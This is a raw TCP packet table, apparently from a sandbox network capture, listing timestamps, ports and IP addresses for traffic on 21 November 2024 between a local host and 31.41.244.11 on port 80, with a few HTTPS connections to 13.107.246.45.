Nov 21, 2024 03:09:11.610869884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.610918999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.610984087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.611032009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.611938953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.612041950 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.612092018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.613056898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.613106966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.613188982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.613238096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.614087105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.614140987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.614197969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.614257097 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.615144968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.615258932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.615304947 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.616213083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.616292000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.616342068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.617255926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.617300987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.617374897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.617568970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.618333101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.618379116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.618431091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.618479967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.619425058 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.619469881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.619513988 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.620496035 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.620542049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.620604038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.620646000 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.621553898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.621599913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.621651888 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.621692896 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.622626066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.622692108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.622805119 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.622850895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.623683929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.623796940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.623843908 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.624568939 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.624738932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.624855995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.624898911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.624903917 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.624931097 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.625314951 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.625324965 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.625814915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.625981092 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.626029968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.626876116 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.626924992 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.626996994 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.627043962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.627955914 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.628062010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.628125906 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.629003048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.629050016 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.629125118 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.629172087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.630068064 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.630110979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.630167961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.630214930 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.631146908 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.631194115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.631253004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.631299019 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.632220030 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.632354975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.632404089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.633333921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.633404970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.633409023 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.633460045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.634358883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.634411097 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.634468079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.634515047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.635425091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.635472059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.635538101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.636487961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.636534929 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.636590958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.636639118 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.637546062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.637593031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.637629032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.637676001 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.638611078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.638657093 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.638721943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.638767958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.639688969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.639779091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.639830112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.761641979 CET	443	49819	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.762032032 CET	49819	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.762048006 CET	443	49819	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.762540102 CET	49819	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.762545109 CET	443	49819	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.787230015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.787242889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.787297964 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.787365913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.787549973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.787592888 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.787870884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.787909031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.788518906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.788528919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.788556099 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.788578987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.789586067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.789638042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.789745092 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.789793968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.790801048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.790813923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.790848017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.791811943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.791821957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.791870117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.792663097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.792707920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.792885065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.792929888 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.793859959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.793910980 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.794001102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.794049025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.794944048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.794989109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.795084000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.795124054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.796087980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.796097994 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.796138048 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.797028065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.797072887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.797220945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.797269106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.798192024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.798238039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.798338890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.798401117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.799210072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.799252033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.799361944 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.799408913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.800371885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.800384045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.800421000 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.801295996 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.801341057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.801443100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.801487923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.802395105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.802440882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.802544117 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.802578926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.803385019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.803421974 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.803575993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.803612947 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.804586887 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.804625988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.804775953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.804820061 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.805613995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.805671930 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.805761099 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.805794954 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.806608915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.806649923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.806760073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.806798935 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.807250977 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.807291985 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.807882071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.807914972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.808897018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.808907986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.808940887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.808973074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.809983015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.809993982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.810022116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.810038090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.810956955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.810969114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.810998917 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.811011076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.811737061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.811747074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.811758041 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.811780930 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.811809063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.811853886 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.811888933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.812774897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.812819958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.812922955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.812964916 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.813864946 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.813906908 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.813941956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.813986063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.814905882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.814950943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.815012932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.815053940 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.815989971 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.816040039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.816076040 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.816118002 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.817070961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.817130089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.817164898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.817208052 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.818118095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.818169117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.818244934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.818285942 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.819196939 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.819246054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.819279909 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.819348097 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.820245028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.820295095 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.820348978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.820409060 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.821342945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.821392059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.821468115 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.821511030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.822402000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.822452068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.822520971 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.822571039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.823463917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.823517084 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.823688984 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.823735952 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.824529886 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.824575901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.824651003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.824696064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.825615883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.825666904 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.825726986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.825768948 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.826682091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.826735020 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.826766014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.826807022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.827739000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.827788115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.827851057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.827896118 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.828783035 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.828850985 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.828886986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.828929901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.829876900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.829922915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.829979897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.830033064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.830929995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.830995083 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.831024885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.831064939 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.832005024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.832046986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.832091093 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.832138062 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.833064079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.833105087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.833164930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.833204985 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.834182978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.834193945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.834225893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.834259987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.835206985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.835249901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.835321903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.835367918 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.836261034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.836301088 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.836375952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.836412907 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.837327003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.837368011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.837433100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.837475061 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.838412046 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.838449955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.838517904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.838557005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.839447021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.839488983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.839564085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.839605093 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.840531111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.840589046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.840621948 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.840662956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.841576099 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.841620922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.962778091 CET	443	49815	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.966032028 CET	443	49815	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.966099024 CET	49815	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.966162920 CET	49815	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.966176033 CET	443	49815	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.966185093 CET	49815	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.966191053 CET	443	49815	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.968920946 CET	49820	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.969018936 CET	443	49820	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.969120979 CET	49820	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.969289064 CET	49820	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.969329119 CET	443	49820	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.987399101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.987512112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.987690926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.987737894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.987751007 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.987782001 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.987926960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.987976074 CET	49814	80	192.168.2.5	31.41.244.11
